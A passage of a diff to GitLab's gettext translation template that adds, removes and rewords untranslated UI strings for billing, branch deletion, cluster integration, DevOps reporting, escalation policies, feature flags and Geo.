msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
